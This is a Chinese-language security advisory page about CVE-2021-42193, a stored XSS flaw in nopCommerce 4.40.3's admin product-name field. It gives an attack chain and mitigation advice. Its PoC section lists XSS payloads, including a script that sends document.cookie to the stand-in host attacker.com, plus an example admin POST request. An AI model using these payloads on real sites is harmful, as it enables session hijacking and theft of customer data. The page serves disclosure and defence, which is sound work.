IPBUF安全漏洞报告
English
CVE-2021-42193 CVSS 6.1 中危

CVE-2021-42193:nopCommerce 4.40.3 产品名称存储型XSS漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2021-42193
漏洞类型
跨站脚本攻击(XSS / Stored XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
nopCommerce

相关标签

XSS存储型XSSStored XSSCross-Site ScriptingnopCommerce电商平台E-commerceASP.NETCVE-2021-42193中危漏洞

漏洞概述

CVE-2021-42193是nopCommerce 4.40.3版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞位于后台管理界面的产品编辑页面,具体路径为/Admin/Product/Edit/[id]。攻击者可以通过在产品名称(Product Name)字段中注入恶意的JavaScript脚本代码来实现XSS攻击。由于nopCommerce在保存产品信息时未对产品名称字段进行充分的输入过滤和输出编码,恶意脚本会被持久化存储到数据库中。每当普通用户或管理员在前台商店浏览该产品时,浏览器会自动执行嵌入在产品名称中的恶意脚本,从而触发XSS攻击。该漏洞的CVSS 3.1评分为6.1,属于中危级别。虽然无需认证即可利用,但需要用户交互(如浏览被注入恶意代码的产品页面)才能触发攻击。该漏洞可能导致用户会话劫持、敏感信息窃取、钓鱼攻击以及恶意操作执行等安全风险,对电商平台的用户数据和系统安全构成严重威胁。

技术细节

nopCommerce是一款基于ASP.NET Core的开源电子商务平台,CVE-2021-42193漏洞存在于其4.40.3版本的后台管理模块中。

漏洞原理:nopCommerce在处理产品名称字段时,未对用户输入进行充分的HTML实体编码或安全过滤。当管理员在/Admin/Product/Edit/[id]页面编辑产品信息并提交包含恶意JavaScript代码的产品名称时,该数据会被直接存储到数据库中。由于前端展示页面在渲染产品名称时直接使用原始数据而未进行输出编码,恶意脚本会在用户浏览器中执行。

利用方式:
1. 攻击者获取管理员权限或利用其他途径访问产品编辑功能;
2. 在产品名称字段中注入XSS Payload,例如:<script>alert(document.cookie)</script> 或 <img src=x onerror=alert(1)>;
3. 保存产品信息,恶意代码被持久化存储;
4. 当任何用户(包括前台顾客)浏览该产品详情页面时,嵌入的脚本自动执行;
5. 攻击者可通过窃取的Cookie进行会话劫持,或执行其他恶意操作。

该漏洞属于存储型XSS,危害性较大,因为恶意代码会持续影响所有访问该页面的用户,且无需特殊的社会工程学诱导即可触发。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者通过社会工程学、弱口令爆破或其他途径获取nopCommerce后台管理员账户的访问权限,或者利用其他可编辑产品信息的接口。
STEP 2
步骤2:注入恶意Payload
攻击者登录后台管理界面,访问/Admin/Product/Edit/[id]页面,在产品名称(Product Name)输入框中输入包含恶意JavaScript代码的XSS Payload,例如窃取Cookie、重定向到钓鱼站点或执行其他恶意操作的脚本。
STEP 3
步骤3:持久化存储
提交表单后,恶意Payload被nopCommerce系统直接存储到数据库中的产品名称字段,未经过任何HTML实体编码或安全过滤处理。
STEP 4
步骤4:触发执行
当任何用户(包括普通顾客和其他管理员)在前台商店浏览被注入恶意代码的产品页面时,浏览器解析并执行嵌入在产品名称中的恶意JavaScript脚本。
STEP 5
步骤5:数据窃取与恶意操作
恶意脚本执行后,攻击者可窃取用户会话Cookie、会话令牌,或重定向用户到钓鱼页面、植入恶意软件,甚至利用管理员权限进行进一步的内网渗透和权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2021-42193 PoC: Stored XSS in nopCommerce Product Name --> <!-- Target: /Admin/Product/Edit/[id] --> <!-- Payload is injected into the Product Name field --> <!-- Method 1: Simple script tag injection --> <script>alert('XSS-CVE-2021-42193');document.location='http://attacker.com/steal?cookie='+document.cookie</script> <!-- Method 2: Image tag with onerror event --> <img src=x onerror="alert(document.cookie)"> <!-- Method 3: SVG-based payload --> <svg/onload=alert('XSS')> <!-- Method 4: Body with onload (for testing) --> <body onload=alert('XSS')> <!-- HTTP Request Example (conceptual) --> <!-- POST /Admin/Product/Edit/1 HTTP/1.1 Host: target-nopcommerce-site.com Content-Type: application/x-www-form-urlencoded Cookie: .NOP.AUTH=admin_session_cookie Name=<script>alert(document.cookie)</script>&Price=100&... --> <!-- Trigger: Visit the product page in the storefront --> <!-- URL: /Product/[product-id] or any page displaying the injected product name -->

影响范围

nopCommerce 4.40.3
nopCommerce < 4.40.4(推测修复版本)

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)对后台产品编辑功能进行访问控制,限制只有可信管理员可以编辑产品信息;2)在前端展示产品名称时,临时使用HTML转义函数对输出内容进行编码处理;3)启用浏览器端的Content Security Policy(CSP),限制内联脚本的执行;4)为所有用户会话Cookie添加HttpOnly标志,防止通过XSS窃取会话;5)部署WAF规则过滤常见的XSS Payload模式;6)定期审查数据库中已存储的产品名称等用户输入字段,排查并清理已注入的恶意代码;7)监控异常的网络请求和用户行为,及时发现潜在的XSS攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表